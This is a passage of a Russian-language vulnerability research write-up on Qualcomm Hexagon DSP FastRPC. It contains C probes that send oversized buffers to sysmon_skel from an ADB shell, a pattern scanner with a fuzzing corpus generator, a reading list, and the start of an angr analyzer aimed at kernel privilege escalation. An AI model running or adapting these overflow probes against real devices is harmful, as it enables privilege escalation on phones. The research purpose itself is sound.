DSP attack surface на Qualcomm — огромный. 10 skel-библиотек, 655 автоматически найденных кандидатов, 56 HIGH. Ручная верификация OOB в sysmon_skel_invoke @ 0x9cac — следующий приоритет.


---

# Приложение A. PoC исходники: fastrpc_probe.c и fastrpc_probe2.c

Инструменты зондирования FastRPC CDSP доступа из ADB shell контекста.

Статус: Собраны для aarch64-linux-gnu. На устройстве не запускались.  
 Компиляция: aarch64-linux-gnu-gcc -static -o fastrpc_probe fastrpc_probe.c  
 Деплой: adb push fastrpc_probe /data/local/tmp/ && adb shell chmod +x /data/local/tmp/fastrpc_probe

---

## A.1 fastrpc_probe.c

Тест через dlopen(libcdsprpc.so) + remote_handle_open:

C:
/*
 * fastrpc_probe.c - FastRPC CDSP access probe from ADB shell context
 *
 * Tests if u:r:shell:s0 can:
 *   1. Open /dev/fastrpc-cdsp directly (expected: denied by SELinux)
 *   2. Call remote_handle_open via libcdsprpc.so (may bypass DAC check)
 *   3. Invoke a CDSP skel function with oversized buffer (vuln check)
 *
 * Compile: aarch64-linux-gnu-gcc -static -o fastrpc_probe fastrpc_probe.c
 * Deploy:  adb push fastrpc_probe /data/local/tmp/; adb shell chmod +x ...
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <dlfcn.h>
#include <stdint.h>

/* FastRPC remote_arg_t structure */
typedef struct {
    union { void *pv; uint64_t p; };
    uint32_t nLen;
} remote_arg_t;

typedef uint32_t remote_handle;
typedef uint64_t remote_handle64;

/* FastRPC HLOS API (from libcdsprpc.so) */
typedef int (*pfn_remote_handle_open)(const char *name, remote_handle *ph);
typedef int (*pfn_remote_handle_close)(remote_handle h);
typedef int (*pfn_remote_handle64_invoke)(remote_handle64 h, uint32_t dwScalars, remote_arg_t *pra);
typedef int (*pfn_remote_handle64_close)(remote_handle64 h);

/*
 * FastRPC scalar encoding:
 *   FASTRPC_SCALARS(method, nin, nout) = ((method << 24) | (nin << 16) | (nout << 8))
 */
#define FASTRPC_SCALARS(m, in, out)  (((m) << 24) | ((in) << 16) | ((out) << 8))

static void test_direct_open(void) {
    printf("\n[1] Testing direct /dev/fastrpc-cdsp open...\n");
    int fd = open("/dev/fastrpc-cdsp", O_RDWR);
    if (fd >= 0) {
        printf("    [!!!] OPENED fd=%d (SELinux allows shell→fastrpc-cdsp!)\n", fd);
        close(fd);
    } else {
        printf("    [x] open failed: %s (errno=%d) — SELinux blocking\n",
               strerror(errno), errno);
    }
}

static void test_via_libcdsprpc(void) {
    printf("\n[2] Testing via libcdsprpc.so remote_handle_open...\n");

    void *h = dlopen("/vendor/lib64/libcdsprpc.so", RTLD_LAZY);
    if (!h) {
        printf("    [x] dlopen failed: %s\n", dlerror());
        return;
    }
    printf("    [+] dlopen OK\n");

    pfn_remote_handle_open fn_open =
        (pfn_remote_handle_open)dlsym(h, "remote_handle_open");
    if (!fn_open) {
        printf("    [x] dlsym(remote_handle_open) failed\n");
        dlclose(h);
        return;
    }

    /* Try opening the sysmon service - well-known FastRPC CDSP service */
    remote_handle rh = 0xFFFFFFFF;
    int rc = fn_open("file:///vendor/lib/rfsa/adsp/libsysmon_skel.so?sysmon_skel_invoke", &rh);
    if (rc == 0) {
        printf("    [!!!] OPENED sysmon skel handle=%u\n", rh);
        /* Now try invoking with oversized buffer - sysmon_usermode_buffer_copy */
        /* method 0, 1 in-buf, 1 out-buf: sc = FASTRPC_SCALARS(0, 1, 1) */
        printf("    [*] Attempting oversize invoke (sysmon_usermode_buffer_copy dst=0x101)...\n");

        pfn_remote_handle64_invoke fn_inv =
            (pfn_remote_handle64_invoke)dlsym(h, "remote_handle64_invoke");
        if (fn_inv) {
            uint8_t in_buf[0x200];
            uint8_t out_buf[0x200];
            memset(in_buf, 0x41, sizeof(in_buf));

            remote_arg_t pra[2];
            pra[0].pv   = in_buf;
            pra[0].nLen = sizeof(in_buf);  /* 0x200 > 0x101 hardcoded dst */
            pra[1].pv   = out_buf;
            pra[1].nLen = sizeof(out_buf);

            uint32_t sc = FASTRPC_SCALARS(0, 1, 1);
            rc = fn_inv((remote_handle64)rh, sc, pra);
            printf("    [*] invoke rc=%d (0=ok, <0=error)\n", rc);
        }

        pfn_remote_handle_close fn_close =
            (pfn_remote_handle_close)dlsym(h, "remote_handle_close");
        if (fn_close) fn_close(rh);
    } else {
        printf("    [x] remote_handle_open failed: rc=%d errno=%d (%s)\n",
               rc, errno, strerror(errno));
        printf("    [*] errno 13=EACCES (SELinux), 2=ENOENT, 111=ECONNREFUSED\n");
    }

    dlclose(h);
}

int main(int argc, char **argv) {
    printf("FastRPC CDSP probe — shell context test\n");
    printf("pid=%d  uid=%d\n", getpid(), getuid());

    test_direct_open();
    test_via_libcdsprpc();

    return 0;
}

---

## A.2 fastrpc_probe2.c

Тест через прямой ioctl(FASTRPC_IOCTL_INVOKE2) без dlopen:

C:
/*
 * fastrpc_probe2.c - direct ioctl approach without dlopen
 * Tests FastRPC CDSP access using raw ioctl on /dev/fastrpc-cdsp
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <stdint.h>
#include <sys/ioctl.h>

/* fastrpc ioctl interface (from kernel source: include/uapi/misc/fastrpc.h) */
#define FASTRPC_IOCTL_INVOKE2    _IOWR('R', 4, struct fastrpc_ioctl_invoke_async)
#define FASTRPC_IOCTL_INIT       _IOWR('R', 6, struct fastrpc_ioctl_init)

struct fastrpc_remote_buf {
    void *pv;
    uint64_t len;
};

struct fastrpc_remote_dma_handle {
    int fd;
    uint32_t offset;
    uint32_t len;
};

struct fastrpc_remote_arg {
    union {
        struct fastrpc_remote_buf buf;
        struct fastrpc_remote_dma_handle dma;
    };
};

struct fastrpc_ioctl_invoke {
    uint32_t handle;
    uint32_t sc;
    struct fastrpc_remote_arg *pra;
};

struct fastrpc_ioctl_invoke_async {
    struct fastrpc_ioctl_invoke inv;
    uint32_t *attrs;
    uint32_t *fds;
    uint32_t job;
};

int main(void) {
    printf("FastRPC CDSP raw ioctl probe\n");
    printf("uid=%d\n", getuid());

    /* Test 1: open fastrpc-cdsp */
    int fd = open("/dev/fastrpc-cdsp", O_RDWR | O_CLOEXEC);
    if (fd < 0) {
        printf("[x] open /dev/fastrpc-cdsp: %s (errno=%d)\n",
               strerror(errno), errno);
        printf("    SELinux context blocks shell→vendor_qdsp_device\n");

        /* Test 2: try fastrpc-adsp instead */
        fd = open("/dev/fastrpc-adsp-secure", O_RDWR | O_CLOEXEC);
        if (fd >= 0) {
            printf("[!] Opened fastrpc-adsp-secure! fd=%d\n", fd);
            close(fd);
        } else {
            printf("[x] fastrpc-adsp-secure: %s\n", strerror(errno));
        }
        return 1;
    }

    printf("[!!!] OPENED /dev/fastrpc-cdsp fd=%d\n", fd);

    /* Test 3: invoke sysmon (handle 3 = built-in sysmon) with overflow */
    uint8_t in_buf[0x200];
    uint8_t out_buf[0x100];
    memset(in_buf, 0x41, sizeof(in_buf));

    struct fastrpc_remote_arg pra[2];
    memset(&pra, 0, sizeof(pra));
    pra[0].buf.pv  = in_buf;
    pra[0].buf.len = sizeof(in_buf);  /* 0x200 > 0x101 hardcoded dst */
    pra[1].buf.pv  = out_buf;
    pra[1].buf.len = sizeof(out_buf);

    struct fastrpc_ioctl_invoke_async req;
    memset(&req, 0, sizeof(req));
    req.inv.handle = 3;  /* built-in sysmon handle */
    req.inv.sc     = (0 << 24) | (1 << 16) | (1 << 8);  /* method 0, 1 in, 1 out */
    req.inv.pra    = pra;

    int rc = ioctl(fd, FASTRPC_IOCTL_INVOKE2, &req);
    printf("[*] ioctl INVOKE2 rc=%d errno=%d (%s)\n", rc, errno, strerror(errno));

    close(fd);
    return 0;
}


---

# Приложение B. dsp_vuln_finder.py

Паттерн-сканер уязвимостей в Hexagon DSP skel .so библиотеках.

Инструмент: статический анализ через llvm-objdump --arch=hexagon, без angr.  
 Цель: найти баги класса SIGNED_LEN_CHECK, OOB_INDEX, MISSING_SIZE_CHECK в dispatch-функциях.  
 Запуск: python3 dsp_vuln_finder.py --lib libsysmon_skel.so

Python:
#!/usr/bin/env python3
"""
dsp_vuln_finder.py — Hexagon DSP skel .so vulnerability finder

Approach:
  1. Disassemble with llvm-objdump (no angr arch issues)
  2. Parse instructions to find vulnerability patterns
  3. Map sysmon_skel_invoke dispatch table → each method's arg checks
  4. Identify methods with weak/missing bounds checks
  5. Generate targeted fuzzing corpus for each vulnerable path

Key targets:
  - libsysmon_skel.so: sysmon_skel_invoke (8684 bytes, main dispatcher)
  - sysmon_usermode_buffer_copy: copies HLOS buf with hardcoded dst size=0x101
  - memtest_memcpy/memtest_malloc: size from user input
"""

import sys
import re
import subprocess
import struct
import json
from pathlib import Path
from dataclasses import dataclass, field
from typing import Optional

LIB_DIR = Path(__file__).parent / 'libs'
OUT_DIR = Path(__file__).parent / 'fuzz_out'

# ─── disassembler ─────────────────────────────────────────────────────────────

def disasm(lib_path: str) -> list[dict]:
    """Run llvm-objdump and parse output into structured instruction list."""
    for objdump in ['llvm-objdump-20', 'llvm-objdump-19', 'llvm-objdump']:
        for arch_flag in ['--arch=hexagon', '--arch-name=hexagon']:
            try:
                result = subprocess.run(
                    [objdump, '-d', arch_flag, lib_path],
                    capture_output=True, text=True, timeout=60
                )
                if result.returncode == 0:
                    return _parse_objdump(result.stdout)
            except (FileNotFoundError, subprocess.TimeoutExpired):
                break
    raise RuntimeError("llvm-objdump not found")


def _parse_objdump(text: str) -> list[dict]:
    """Parse objdump output into list of {addr, bytes, mnemonic, operands, func}."""
    insns = []
    current_func = None
    func_re = re.compile(r'^([0-9a-f]+) <([^>]+)>:')
    insn_re = re.compile(r'^\s+([0-9a-f]+):\s+[0-9a-f ]+\t(.+)$')

    for line in text.splitlines():
        fm = func_re.match(line)
        if fm:
            current_func = fm.group(2)
            continue
        im = insn_re.match(line)
        if im:
            addr = int(im.group(1), 16)
            raw = im.group(2).strip()
            parts = raw.split(None, 1)
            mn = parts[0].lower() if parts else ''
            ops = parts[1] if len(parts) > 1 else ''
            insns.append({
                'addr': addr,
                'func': current_func,
                'mnemonic': mn,
                'operands': ops,
                'raw': raw,
            })
    return insns


# ─── vulnerability pattern matchers ──────────────────────────────────────────

@dataclass
class Finding:
    vuln_type: str
    addr: int
    func: str
    desc: str
    severity: str = 'MEDIUM'
    evidence: list = field(default_factory=list)


def is_signed_cmp(mn: str) -> bool:
    return any(x in mn for x in ['cmp.gt(', 'cmp.lt(', 'cmph.gt(', 'cmpb.gt('])


def is_unsigned_cmp(mn: str) -> bool:
    return any(x in mn for x in ['cmp.gtu(', 'cmp.ltu(', 'cmp.gtu'])


def is_mem_op(raw: str) -> bool:
    return bool(re.search(r'mem[wbhd]\s*\(', raw))


def is_call(mn: str) -> bool:
    return mn.startswith('call')


def extract_call_target(ops: str) -> Optional[int]:
    m = re.search(r'0x([0-9a-f]+)', ops)
    if m:
        return int(m.group(1), 16)
    return None


def extract_cmp_imm(raw: str) -> Optional[int]:
    """Extract immediate value from comparison instruction."""
    m = re.search(r'#(-?(?:0x[0-9a-f]+|\d+))', raw)
    if m:
        val = m.group(1)
        return int(val, 16) if val.startswith('0x') or val.startswith('-0x') else int(val)
    return None


# ─── Pattern 1: signed comparison feeding memory operation ───────────────────

def scan_signed_len_check(insns: list[dict]) -> list[Finding]:
    """
    CVE-2020-11201 pattern: length value checked with SIGNED comparison
    but then used as unsigned index/size in memory operation.

    Heuristic: signed cmp within 8 insns of a mem op, same function.
    """
    findings = []
    for i, insn in enumerate(insns):
        raw = insn['raw']
        if not is_signed_cmp(raw):
            continue
        for j in range(i+1, min(i+10, len(insns))):
            nxt = insns[j]
            if nxt['func'] != insn['func']:
                break
            if is_mem_op(nxt['raw']):
                findings.append(Finding(
                    vuln_type='SIGNED_LEN_CHECK',
                    addr=insn['addr'],
                    func=insn['func'] or '',
                    desc=f"Signed cmp at {insn['addr']:#x} → mem op at {nxt['addr']:#x}",
                    severity='HIGH',
                    evidence=[raw, nxt['raw']],
                ))
                break
    return findings


# ─── Pattern 2: dispatch table OOB index ─────────────────────────────────────

def scan_dispatch_invoke(insns: list[dict], func_name: str = 'sysmon_skel_invoke') -> dict:
    """
    Analyze the main skel_invoke dispatcher:
    - Look for method_id used as array index without bounds check
    - Flag signed comparisons in dispatcher

    sysmon_skel_invoke pattern:
      r4 = extractu(_sc, #5, #0x18)   ← method_id (5 bits, 0-31)
      r4 = memw(r3+r4<<#0x2)          ← dispatch table lookup (OOB if no check)
    """
    func_insns = [i for i in insns if i['func'] == func_name]
    if not func_insns:
        return {'methods': [], 'error': f'Function {func_name} not found'}

    print(f"  [*] {func_name}: {len(func_insns)} instructions")

    target_counts = {}
    for insn in func_insns:
        if 'jump' in insn['mnemonic'] or 'jump' in insn['raw']:
            m = re.search(r'0x([0-9a-f]+)', insn['raw'])
            if m:
                t = int(m.group(1), 16)
                target_counts[t] = target_counts.get(t, 0) + 1

    error_addr = None
    if target_counts:
        error_addr = max(target_counts, key=lambda k: target_counts[k])
        print(f"  [*] Error handler likely at {error_addr:#x} ({target_counts[error_addr]} jumps)")

    checks = []
    calls = []
    for insn in func_insns:
        raw = insn['raw']
        if is_unsigned_cmp(raw) or is_signed_cmp(raw):
            imm = extract_cmp_imm(raw)
            checks.append({'addr': insn['addr'], 'raw': raw, 'imm': imm,
                           'signed': is_signed_cmp(raw)})
        if is_call(insn['mnemonic']):
            target = extract_call_target(insn['operands'])
            calls.append({'addr': insn['addr'], 'target': target})

    print(f"  [*] Found {len(checks)} size/count checks, {len(calls)} function calls")

    signed_checks = [c for c in checks if c['signed']]
    if signed_checks:
        print(f"\n  [!!!] SIGNED comparisons in {func_name} ({len(signed_checks)}):")
        for c in signed_checks[:20]:
            print(f"        {c['addr']:#x}: {c['raw']}")
    else:
        print(f"  [+] All comparisons appear UNSIGNED (cmp.gtu)")

    target_funcs = set(c['target'] for c in calls if c['target'])
    print(f"  [*] Dispatch targets: {sorted(target_funcs)}")

    return {
        'func': func_name,
        'insn_count': len(func_insns),
        'checks': checks,
        'calls': calls,
        'error_addr': error_addr,
        'signed_checks': signed_checks,
    }


# ─── Pattern 3: memtest_memcpy size validation ───────────────────────────────

def analyze_memtest_memcpy(insns: list[dict]) -> list[Finding]:
    findings = []
    func_insns = [i for i in insns if i['func'] == 'memtest_memcpy']
    if not func_insns:
        return findings

    has_size_check = False
    calls_found = []

    for insn in func_insns:
        raw = insn['raw']
        if 'cmp' in raw and ('r2' in raw or 'r3' in raw):
            has_size_check = True
        if is_call(insn['mnemonic']):
            t = extract_call_target(insn['operands'])
            calls_found.append((insn['addr'], t))

    if not has_size_check:
        findings.append(Finding(
            vuln_type='MISSING_SIZE_CHECK',
            addr=func_insns[0]['addr'],
            func='memtest_memcpy',
            desc='memtest_memcpy: no size validation found before copy operation',
            severity='HIGH',
        ))

    for addr, target in calls_found:
        print(f"  [*] memtest_memcpy call @ {addr:#x} → {target:#x if target else '?'}")

    return findings


# ─── Pattern 4: sysmon_mem_test overflow ─────────────────────────────────────

def analyze_sysmon_mem_test(insns: list[dict]) -> list[Finding]:
    findings = []
    func_insns = [i for i in insns if i['func'] == 'sysmon_mem_test']

    mpys = [i for i in func_insns if 'mpyi' in i['raw'] or 'mpyu' in i['raw']]
    if mpys:
        findings.append(Finding(
            vuln_type='INT_OVERFLOW_IN_SIZE',
            addr=mpys[0]['addr'],
            func='sysmon_mem_test',
            desc=f"sysmon_mem_test multiply @ {mpys[0]['addr']:#x}: {mpys[0]['raw']}",
            severity='MEDIUM',
            evidence=[m['raw'] for m in mpys[:3]],
        ))

    return findings


# ─── Pattern 5: usermode_buffer_copy hardcoded size ──────────────────────────

def analyze_usermode_buffer_copy(insns: list[dict]) -> list[Finding]:
    """
    sysmon_usermode_buffer_copy: hardcoded dst_size=0x101.
    CVE-2020-11201 pattern: check if caller validates src_len as signed.
    """
    findings = []
    func_insns = [i for i in insns if i['func'] == 'sysmon_usermode_buffer_copy']
    if not func_insns:
        func_insns = [i for i in insns if i['func'] and 'usermode_buffer' in i['func']]

    for insn in func_insns:
        if '0x101' in insn['raw'] or '##0x100' in insn['raw']:
            print(f"  [!] Hardcoded dst_size=0x101 at {insn['addr']:#x}: {insn['raw']}")
            findings.append(Finding(
                vuln_type='HARDCODED_BUFFER_SIZE',
                addr=insn['addr'],
                func=insn['func'] or '',
                desc=f"Hardcoded dst_size=0x101 at {insn['addr']:#x}",
                severity='MEDIUM',
                evidence=[insn['raw']],
            ))

    return findings


# ─── fastrpc corpus generator ─────────────────────────────────────────────────

def build_fastrpc_packet(method_sc: int, args: list[bytes]) -> bytes:
    """
    Build fastrpc invocation packet for fuzzing harness.
    Format: [4B: sc] [4B: num_args] [per arg: 4B nLen + data]
    """
    out = struct.pack('<II', method_sc, len(args))
    for arg in args:
        out += struct.pack('<I', len(arg))
        out += arg
    return out


def generate_sysmon_corpus() -> list[tuple[str, bytes]]:
    corpus = []

    # Normal: method 0, small buffer
    corpus.append(('sysmon_reg_profiler_valid',
        build_fastrpc_packet(0, [b'\x01\x00\x00\x00', b'\x00\x00\x00\x00'])))

    # sysmon_usermode_buffer_copy: boundary 0x101 bytes
    corpus.append(('usermode_buffer_copy_exact',
        build_fastrpc_packet(3, [b'A' * 0x101, b'\x00' * 0x101])))

    # Off-by-one: 0x102 bytes
    corpus.append(('usermode_buffer_copy_oob',
        build_fastrpc_packet(3, [b'A' * 0x102, b'\x00' * 0x102])))

    # Negative length: nLen=0xFFFFFFFF (sign extension test)
    pkt = struct.pack('<III', 3, 1, 0xFFFFFFFF)
    pkt += b'A' * 4
    corpus.append(('usermode_buffer_copy_neg_len', pkt))

    # OOB dispatch: method_id=31 (max 5-bit) — no bounds check expected
    corpus.append(('oob_dispatch_method31',
        build_fastrpc_packet((31 << 24) | (1 << 16) | (1 << 8),
                              [b'B' * 0x10, b'\x00' * 0x10])))

    # All zeros
    corpus.append(('all_zeros', build_fastrpc_packet(0, [b'\x00' * 4])))

    # Corrupt sc
    corpus.append(('corrupt_sc', struct.pack('<I', 0xFFFFFFFF) + b'\x00' * 32))

    return corpus


def mutate_corpus(corpus: list[tuple[str, bytes]], n: int = 200) -> list[tuple[str, bytes]]:
    import random
    mutated = list(corpus)

    INTERESTING = [0, 1, -1, 0x7F, 0x80, 0xFF, 0x100, 0x101, 0x7FFF, 0x8000,
                   0xFFFF, 0x10000, 0x7FFFFFFF, 0x80000000, 0xFFFFFFFF]

    for i in range(n):
        name, data = random.choice(corpus)
        data = bytearray(data)

        strat = random.randint(0, 5)
        if strat == 0 and len(data) >= 8:
            val = random.choice(INTERESTING) & 0xFFFFFFFF
            struct.pack_into('<I', data, 8, val)
        elif strat == 1 and len(data) > 0:
            pos = random.randint(0, len(data)-1)
            data[pos] ^= random.randint(1, 255)
        elif strat == 2 and len(data) >= 4:
            struct.pack_into('<I', data, 0, random.randint(0, 100))
        elif strat == 3 and len(data) >= 8:
            for j in range(12, len(data)):
                data[j] = 0x41
        elif strat == 4:
            data += bytes([random.randint(0, 255) for _ in range(random.randint(1, 64))])
        elif strat == 5 and len(data) >= 8:
            pos = random.randint(0, (len(data)//4 - 1)) * 4
            val = random.choice(INTERESTING) & 0xFFFFFFFF
            struct.pack_into('<I', data, pos, val)

        mutated.append((f'mut_{name}_{i:04d}', bytes(data)))

    return mutated


# ─── Main ─────────────────────────────────────────────────────────────────────

def main():
    import argparse
    parser = argparse.ArgumentParser()
    parser.add_argument('--lib', default='libsysmon_skel.so')
    parser.add_argument('--corpus', action='store_true', help='Generate fuzzing corpus')
    parser.add_argument('--all-libs', action='store_true', help='Scan all libraries')
    args = parser.parse_args()

    libs = list(LIB_DIR.glob('*.so')) if args.all_libs else [LIB_DIR / args.lib]
    all_findings = []

    for lib_path in libs:
        print(f"\n{'='*60}")
        print(f"Library: {lib_path.name}")
        print(f"{'='*60}")

        try:
            insns = disasm(str(lib_path))
        except Exception as e:
            print(f"[!] Disassembly failed: {e}")
            continue

        print(f"[+] Disassembled {len(insns)} instructions")
        funcs = sorted(set(i['func'] for i in insns if i['func']))
        print(f"[+] Functions: {len(funcs)}")

        print(f"\n--- Pattern 1: Signed length checks ---")
        f1 = scan_signed_len_check(insns)
        all_findings.extend(f1)
        for f in f1[:10]:
            print(f"  [{'!!!' if f.severity == 'HIGH' else '!'}] {f.desc}")
        if not f1:
            print("  (none found)")

        print(f"\n--- Pattern 2: Dispatcher analysis ---")
        for fn in ['sysmon_skel_invoke', 'cdsp_skel_invoke', 'skel_invoke']:
            if any(i['func'] == fn for i in insns):
                scan_dispatch_invoke(insns, fn)

        print(f"\n--- Pattern 3: memtest_memcpy ---")
        f3 = analyze_memtest_memcpy(insns)
        all_findings.extend(f3)

        print(f"\n--- Pattern 4: sysmon_mem_test ---")
        f4 = analyze_sysmon_mem_test(insns)
        all_findings.extend(f4)

        print(f"\n--- Pattern 5: usermode_buffer_copy ---")
        f5 = analyze_usermode_buffer_copy(insns)
        all_findings.extend(f5)

        print(f"\n--- Summary ---")
        print(f"  Total: {len(f1)+len(f3)+len(f4)+len(f5)}")
        print(f"  HIGH:  {len([f for f in all_findings if f.severity == 'HIGH'])}")

    if args.corpus:
        OUT_DIR.mkdir(exist_ok=True)
        corpus_dir = OUT_DIR / 'corpus_sysmon'
        corpus_dir.mkdir(exist_ok=True)

        seeds = generate_sysmon_corpus()
        mutated = mutate_corpus(seeds, n=200)
        for name, data in seeds + mutated:
            (corpus_dir / f'{name}.bin').write_bytes(data)

        print(f"\n[+] Written {len(seeds + mutated)} test cases to {corpus_dir}/")
        print(f"afl-fuzz -i {corpus_dir}/ -o {OUT_DIR}/afl_out/ -- ./sysmon_harness @@")


if __name__ == '__main__':
    main()


---

# Приложение C. Материалы для изучения

Рекомендованная литература и документация по Hexagon QDSP6 и FastRPC.

---

## Официальная документация Qualcomm

Hexagon SDK / FastRPC:

- Qualcomm DSP Developer Documentation — FastRPC и Android Native Hardware Buffers  
  Официальный обзор FastRPC API, IDL workflow, shared memory модели. Стартовая точка для понимания skel_handle_invoke ABI.

Hexagon V73 Programmer's Reference Manual:

- 80-N2040-53 — Qualcomm Hexagon V73 Programmer's Reference Manual  
  Полный набор инструкций V73: encoding, семантика, пакеты. Обязательно при декодировании неизвестных опкодов вручную.

- 80-N2040-54 REV AB — Qualcomm Hexagon V73 HVX Programmer's Reference Manual  
  HVX (Hexagon Vector eXtensions): 128-байтовые векторные регистры, SIMD инструкции. Нужен при реверсе ML/camera DSP библиотек.

Hexagon SDK полный пакет:

- Qualcomm Hexagon SDK — All Docs  
  Полный SDK: QuRT RTOS API, FastRPC tutorials, примеры skel/stub кода, инструкция по сборке под hexagon-unknown-linux-musl.

---

## Дизассемблеры и библиотеки

yaxpeax-hexagon:

- git.iximeow.net/yaxpeax-hexagon  
  Rust-декодер для Hexagon инструкций. Точнее чем binutils для V73; поддерживает compound инструкции и правильно декодирует .new суффиксы.

- crates.io/crates/yaxpeax-hexagon  
  Crate для интеграции в собственные инструменты анализа. Использовать вместо llvm-objdump когда нужна программная обработка потока инструкций.

---

## Как использовать эти источники

| Задача | Документ |
|--------|----------|
| Понять encoding незнакомой инструкции | 80-N2040-53 PDF, глава по типу инструкции |
| Разобраться с HVX в camera/ML либе | 80-N2040-54 PDF |
| Написать корректный skel stub | Qualcomm SDK All Docs, FastRPC раздел |
| Программный дизассемблер для Rust-инструмента | yaxpeax-hexagon crate |
| Понять SELinux/доступность fastrpc | SDK → FastRPC + Android Permissions документация |


---

# Приложение D. fastrpc_analysis.py — angr FastRPC анализатор

Основной инструмент анализа skel-библиотек: дизассемблер + паттерн-сканеры + taint tracking на основе angr.

Запуск:
 
Code:
bash
> python3 fastrpc_analysis.py --lib libs/libsysmon_skel.so
> python3 fastrpc_analysis.py --lib libs/libstabilitydomain_skel.so --symbolic
> python3 fastrpc_analysis.py --report findings/fastrpc_report.md
>

 Зависимости: arch_hexagon/ (см. Приложение F), llvm-objdump-20 или llvm-objdump-19

---

Python:
#!/usr/bin/env python3
"""
fastrpc_analysis.py — Comprehensive angr-based FastRPC skel vulnerability analyzer
====================================================================================

Goal: Find memory-safety bugs in Hexagon DSP FastRPC skel libraries that are
      reachable from an unprivileged ADB shell via /dev/fastrpc-cdsp, leading
      to DSP-side code execution → kernel LPE (privilege escalation).

Attack model
------------
  HLOS (Android shell) → open /dev/fastrpc-cdsp → FASTRPC_IOCTL_INVOKE
    → kernel fastrpc driver → DSP fastrpc_shell → skel_handle_invoke()
    → target skel method

FastRPC skel dispatch ABI (QAIC IDL compiler output):
  int skel_handle_invoke(remote_handle64 _h, uint32_t _sc, remote_arg_t *_pra)
  Where on 32-bit Hexagon:
    r1:r0 = _h  (handle64, 64-bit split across two regs)
    r2    = _sc (scalar: bits[28:24]=method_id, bits[23:16]=n_out,
                         bits[15:8]=n_in, bits[7:4]=n_inout, bits[3:0]=n_buf)
    r3    = _pra (pointer to remote_arg_t array)

  remote_arg_t (8 bytes each):
    uint32_t  pv;   // pointer to buffer in shared memory
    uint32_t  nLen; // length of buffer

Vulnerability classes targeted
-------------------------------
  1. SIGNED_LEN:    Length field treated as signed int → negative bypass
  2. MISSING_CHECK: No bounds check before memcpy/memscpy into fixed buffer
  3. INT_OVERFLOW:  size*count wraps before malloc
  4. OOB_INDEX:     Method ID or arg index used as array index without bounds
  5. UAF:           Pointer freed then accessed in multi-step methods
  6. INFO_LEAK:     Output buffer filled with stale heap/stack data

Usage:
  python3 fastrpc_analysis.py                        # all libs
  python3 fastrpc_analysis.py --lib libsysmon_skel.so
  python3 fastrpc_analysis.py --lib libstabilitydomain_skel.so --symbolic
  python3 fastrpc_analysis.py --report findings.md
"""

from __future__ import annotations

import sys
import os
import re
import json
import struct
import argparse
import logging
import subprocess
import signal
import textwrap
from pathlib import Path
from dataclasses import dataclass, field, asdict
from typing import Optional

# ── Paths ────────────────────────────────────────────────────────────────────

SCRIPT_DIR = Path(__file__).parent
LIB_DIR    = SCRIPT_DIR / 'libs'
REPORT_DIR = SCRIPT_DIR / 'findings'
ANGR_DIR   = SCRIPT_DIR.parent / 'angr'

REPORT_DIR.mkdir(exist_ok=True)
sys.path.insert(0, str(ANGR_DIR))

# ── Logging ──────────────────────────────────────────────────────────────────

logging.getLogger('angr').setLevel(logging.ERROR)
logging.getLogger('cle').setLevel(logging.ERROR)
logging.getLogger('pyvex').setLevel(logging.ERROR)

log = logging.getLogger('fastrpc_analysis')
logging.basicConfig(level=logging.INFO, format='%(message)s')


# ── Data model ───────────────────────────────────────────────────────────────

@dataclass
class Finding:
    vuln_type:  str         # SIGNED_LEN | MISSING_CHECK | INT_OVERFLOW | OOB_INDEX | UAF | INFO_LEAK
    severity:   str         # CRITICAL | HIGH | MEDIUM | LOW
    lib:        str
    func:       str
    addr:       int
    desc:       str
    details:    str = ''
    cve_class:  str = ''    # e.g. 'CVE-2020-11201 class'
    exploit:    str = ''    # exploit primitive description
    confirmed:  bool = False  # True if symbolic execution confirmed reachability


@dataclass
class MethodInfo:
    method_id:   int
    name:        str
    entry_addr:  int
    n_in:        int         # number of in buffers
    n_out:       int         # number of out buffers
    findings:    list = field(default_factory=list)


@dataclass
class LibAnalysis:
    lib_name:      str
    dispatch_func: str
    methods:       list = field(default_factory=list)
    all_findings:  list = field(default_factory=list)


# ── Disassembler wrapper ─────────────────────────────────────────────────────

def disasm_lib(lib_path: str) -> list[dict]:
    """
    Disassemble a Hexagon ELF32 .so using llvm-objdump.
    Returns list of {addr, func, mnem, ops, raw_text, is_call, is_jump, is_cond}.
    """
    for binary in ['llvm-objdump-20', 'llvm-objdump-19', 'llvm-objdump']:
        try:
            r = subprocess.run(
                [binary, '-d', '--arch=hexagon', lib_path],
                capture_output=True, text=True, timeout=120
            )
            if r.returncode == 0 and r.stdout:
                return _parse_objdump(r.stdout)
        except FileNotFoundError:
            continue
        except subprocess.TimeoutExpired:
            break
    raise RuntimeError(f"llvm-objdump failed for {lib_path}")


def _parse_objdump(text: str) -> list[dict]:
    func_re = re.compile(r'^([0-9a-f]+) <([^>]+)>:')
    insn_re = re.compile(r'^\s+([0-9a-f]+):\s+[0-9a-f ]+\t(.+)$')

    insns    = []
    cur_func = None

    for line in text.splitlines():
        fm = func_re.match(line)
        if fm:
            cur_func = fm.group(2).strip()
            continue
        im = insn_re.match(line)
        if im and cur_func:
            addr = int(im.group(1), 16)
            raw  = im.group(2).strip()
            clean = raw.lstrip('{ ').rstrip(' }').strip()
            parts = clean.split(None, 1)
            mnem  = parts[0].rstrip('.')  if parts else ''
            ops   = parts[1]             if len(parts) > 1 else ''

            insns.append({
                'addr':    addr,
                'func':    cur_func,
                'mnem':    mnem.lower(),
                'ops':     ops,
                'raw':     raw,
                'is_call': mnem.lower().startswith('call'),
                'is_jump': mnem.lower().startswith('jump') or mnem.lower().startswith('if'),
                'is_cond': mnem.lower().startswith('if'),
            })
    return insns


def insns_in_func(insns: list[dict], func_name: str) -> list[dict]:
    return [i for i in insns if i['func'] == func_name]


def func_list(insns: list[dict]) -> list[str]:
    seen = []
    for i in insns:
        if i['func'] and i['func'] not in seen:
            seen.append(i['func'])
    return seen


# ── Pattern scanners ─────────────────────────────────────────────────────────

def scan_signed_length_checks(insns: list[dict], lib_name: str) -> list[Finding]:
    """
    SIGNED_LEN: signed comparison instruction followed by a memory operation.
    Pattern: cmp.gt / cmph.gt / cmpb.gt (signed) → within 3 insns → memw/memb/memh.

    Why dangerous: FastRPC client sends a 32-bit length. If the skel checks it
    with a signed compare (cmp.gt vs 0 passes for 0x80000000 since it's negative),
    but then uses it unsigned in a copy → heap/stack overflow.
    """
    findings = []
